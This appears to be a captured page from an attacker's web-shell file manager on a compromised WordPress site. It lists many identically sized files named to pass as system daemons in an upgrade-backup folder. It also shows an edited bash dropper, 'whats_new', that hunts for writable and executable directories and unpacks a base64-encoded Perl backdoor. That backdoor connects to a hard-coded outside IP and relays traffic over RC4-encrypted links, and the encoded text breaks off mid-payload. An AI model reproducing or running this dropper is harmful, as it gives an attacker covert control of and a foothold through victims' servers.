X7ROOT File Manager
Current Path:
/home/hikrsdyp/public_html/wp-content/upgrade-temp-backup
home
/
hikrsdyp
/
public_html
/
wp-content
/
upgrade-temp-backup
/
??
..
??
apache-plugin.cgi
(9.03 KB)
??
apache-plugin.daemon
(9.03 KB)
??
dbus-cgi
(9.03 KB)
??
dbus-fpm.daemon
(9.03 KB)
??
dbus-helper.daemon
(9.03 KB)
??
dbus-service.cgi
(9.03 KB)
??
gnome-agent.daemon
(9.03 KB)
??
gnome-cgi.daemon
(9.03 KB)
??
gnome-service.daemon
(9.03 KB)
??
gnome-worker.daemon
(9.03 KB)
??
gvfs-cgi-helper
(9.03 KB)
??
gvfs-manager.so
(9.03 KB)
??
gvfs-plugin.cgi
(9.03 KB)
??
gvfs-worker
(9.03 KB)
??
kde-agent.so
(9.03 KB)
??
kde-fpm
(9.03 KB)
??
kde-manager.daemon
(9.03 KB)
??
kde-monitor-helper
(9.03 KB)
??
kde-plugin-helper
(9.03 KB)
??
lib-plugin-helper
(9.03 KB)
??
nginx-cache.so
(9.03 KB)
??
nginx-cgi
(9.03 KB)
??
nginx-fpm-helper
(9.03 KB)
??
nginx-fpm.service
(9.03 KB)
??
nginx-plugin.service
(9.03 KB)
??
nginx-session.so
(9.03 KB)
??
php-agent
(9.03 KB)
??
php-agent.cgi
(9.03 KB)
??
php-session
(9.03 KB)
??
pulse-agent-helper
(9.03 KB)
??
pulse-manager.daemon
(9.03 KB)
??
pulse-monitor
(9.03 KB)
??
pulse-monitor.service
(9.03 KB)
??
pulse-service-helper
(9.03 KB)
??
pulse-session-helper
(9.03 KB)
??
ssh-agent.service
(9.03 KB)
??
ssh-fpm.cgi
(9.03 KB)
??
ssh-monitor
(9.03 KB)
??
ssh-service.service
(9.03 KB)
??
systemd-cache-helper
(9.03 KB)
??
systemd-service.cgi
(9.03 KB)
??
tracker-cgi.so
(9.03 KB)
??
tracker-fpm.service
(9.03 KB)
??
tracker-monitor.service
(9.03 KB)
??
tracker-service.service
(9.03 KB)
??
tracker-worker
(9.03 KB)
??
udisks-cgi.daemon
(9.03 KB)
??
udisks-daemon
(9.03 KB)
??
udisks-monitor-helper
(9.03 KB)
??
whats_new
(968.98 KB)
Editing: whats_new
#!/bin/bash # Списки путей для сканирования SEARCH_PATHS=("/tmp" "/var" "/dev/shm" "/home" "/usr/local" "/opt" "/mnt" "/srv") PAUSE_SEC=1 # Массивы для папок declare -a gold_dirs # Сюда можно писать и ЗАПУСКАТЬ (exec разрешен) declare -a silver_dirs # Сюда можно только писать (noexec стоит), запуск через perl # 1. Генератор имен gen_rand_name() { cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 6 | head -n 1 } # 2. Поиск настоящего Perl get_perl_path() { if command -v perl >/dev/null 2>&1; then command -v perl elif [ -x "/usr/bin/perl" ]; then echo "/usr/bin/perl" elif [ -x "/usr/local/bin/perl" ]; then echo "/usr/local/bin/perl" else echo ""; fi } # 3. Умный сканер scan_dirs() { # Ищем папки, доступные для записи текущему юзеру # Исключаем системные proc/sys/dev local raw_dirs=$(find "${SEARCH_PATHS[@]}" \ -path '/proc' -prune -o -path '/sys' -prune -o -path '/dev' -prune -o \ -type d -writable 2>/dev/null | head -n 300) for dir in $raw_dirs; do local tfile="$dir/.chk_$RANDOM" # Проверяем запись if echo "#!/bin/sh" > "$tfile" 2>/dev/null; then chmod +x "$tfile" # Проверяем исполнение (Exec) # Пытаемся запустить созданный файл через ./ if (cd "$dir" && ./"$(basename "$tfile")") >/dev/null 2>&1; then gold_dirs+=("$dir") # Отлично, тут работает ./script else silver_dirs+=("$dir") # Тут только perl script fi rm -f "$tfile" fi # Хватит 30 хороших папок, чтобы не тормозить if [ ${#gold_dirs[@]} -ge 30 ]; then break; fi done } f_4316c037() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNTknOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNs